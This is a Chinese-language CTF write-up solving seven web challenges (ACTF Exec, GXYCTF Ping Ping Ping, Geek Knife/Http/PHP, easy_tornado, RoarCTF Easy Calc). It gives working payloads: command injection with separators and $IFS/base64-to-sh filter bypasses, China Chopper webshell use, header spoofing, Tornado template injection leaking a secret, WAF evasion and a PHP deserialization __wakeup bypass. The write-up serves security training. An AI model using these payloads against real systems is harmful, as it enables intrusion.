Web安全CTF题目解析与利用技巧
1. [ACTF2020 新生赛]Exec
题目分析
这是一个命令注入漏洞的题目,通过ping功能实现命令执行。
利用方法
使用管道符进行命令注入:
-
| (按位或):直接执行后面的语句
127.0.0.1 | cat /flag -
|| (逻辑或):前面命令失败时执行后面命令
abc || cat /flag -
& (按位与):前后命令都执行
127.0.0.1 & cat /flag -
&& (逻辑与):前面成功才执行后面
ping 127.0.0.1 && whoami -
; (分号):类似&的作用
127.0.0.1 ; cat /flag
获取flag
127.0.0.1 | cat /flag
得到flag:flag{546c33d7-aa0d-4a05-90b6-33adbd281b2b}
2. [GXYCTF2019]Ping Ping Ping
题目分析
URL参数ip=存在命令注入,但有过滤机制:
- 过滤空格
- 过滤"flag"关键字
- 过滤bash等
绕过技巧
-
绕过空格过滤:
$IFS${IFS}$IFS$1 {cat,flag.php} %20 %09 -
绕过flag关键字:
- 变量替换:
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php - 内联执行:
?ip=127.0.0.1;cat$IFS$9`ls` - base64编码:
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh - 拆分字符:
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
- 变量替换:
获取flag
查看源码得到flag:flag{9c0ba8cc-cc60-43d2-8b87-e964e62fb538}
3. [极客大挑战 2019]Knife
题目分析
提示使用中国菜刀连接,密码已知。
利用方法
- 使用中国菜刀连接
- 连接密码:
Syc - 在虚拟终端执行:
cat flag
获取flag
flag{749bca20-c6f1-44b0-b941-7d4f062e8323}
4. [极客大挑战 2019]Http
题目分析
需要修改HTTP请求头满足特定条件才能获取flag。
利用步骤
- 查看源码发现
Secret.php - 需要修改的请求头:
- Referer:
https://www.Sycsecret.com - User-Agent:
Syclover - X-Forwarded-For:
127.0.0.1
- Referer:
请求包构造
GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25490
User-Agent: Syclover
Referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1
Connection: close
获取flag
flag{cb30a0b2-0822-43a2-8964-b55bffa0afe6}
5. [护网杯 2018]easy_tornado
题目分析
Tornado模板注入,需要获取cookie_secret计算filehash。
利用步骤
-
发现提示:
flag in /fllllllllllllag -
文件hash计算方式:
md5(cookie_secret+md5(filename)) -
模板注入获取cookie_secret:
/error?msg={{handler.settings}}得到:
40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d -
计算filehash:
import hashlib filename = '/fllllllllllllag' cookie_secret = "40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d" s1 = hashlib.md5(filename.encode()).hexdigest() filehash = hashlib.md5((cookie_secret + s1).encode()).hexdigest() # 得到:0e68f61488cca5aad0677cad0f8b8e8e
最终payload
/file?filename=/fllllllllllllag&filehash=0e68f61488cca5aad0677cad0f8b8e8e
获取flag
flag{44570899-653f-48eb-be17-2f57febc0580}
6. [RoarCTF 2019]Easy Calc
题目分析
PHP字符串解析特性绕过WAF,存在代码执行漏洞。
绕过技巧
- PHP解析时会去掉参数前的空格,WAF无法检测
- 使用chr()函数绕过字符过滤
利用步骤
-
扫描根目录:
calc.php?%20num=1;var_dump(scandir(chr(47)))发现
flagg文件 -
读取文件内容:
calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
获取flag
flag{cd181f15-8fca-45b2-9a03-1d881341575b}
7. [极客大挑战 2019]PHP
题目分析
PHP反序列化漏洞,需要绕过__wakeup()方法。
利用步骤
- 下载www.zip获取源码
- 分析class.php发现反序列化漏洞
- 构造payload绕过wakeup:
- 原理:当成员属性数目大于实际数目时可绕过wakeup方法
- 序列化对象:
class Name { private $username = 'admin'; private $password = '100'; } $a = new Name(); echo urlencode(serialize($a));
最终payload
/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
获取flag
flag{89b1bbec-caf4-40ef-9f7f-6aa54620c140}
总结
本系列题目涵盖了多种Web安全漏洞:
- 命令注入与绕过技巧
- 文件包含与目录遍历
- HTTP头注入
- 模板注入(SSTI)
- PHP反序列化漏洞
- WAF绕过技巧
关键点在于理解各种过滤机制并找到合适的绕过方法,同时熟练掌握各种编码和字符串处理技术。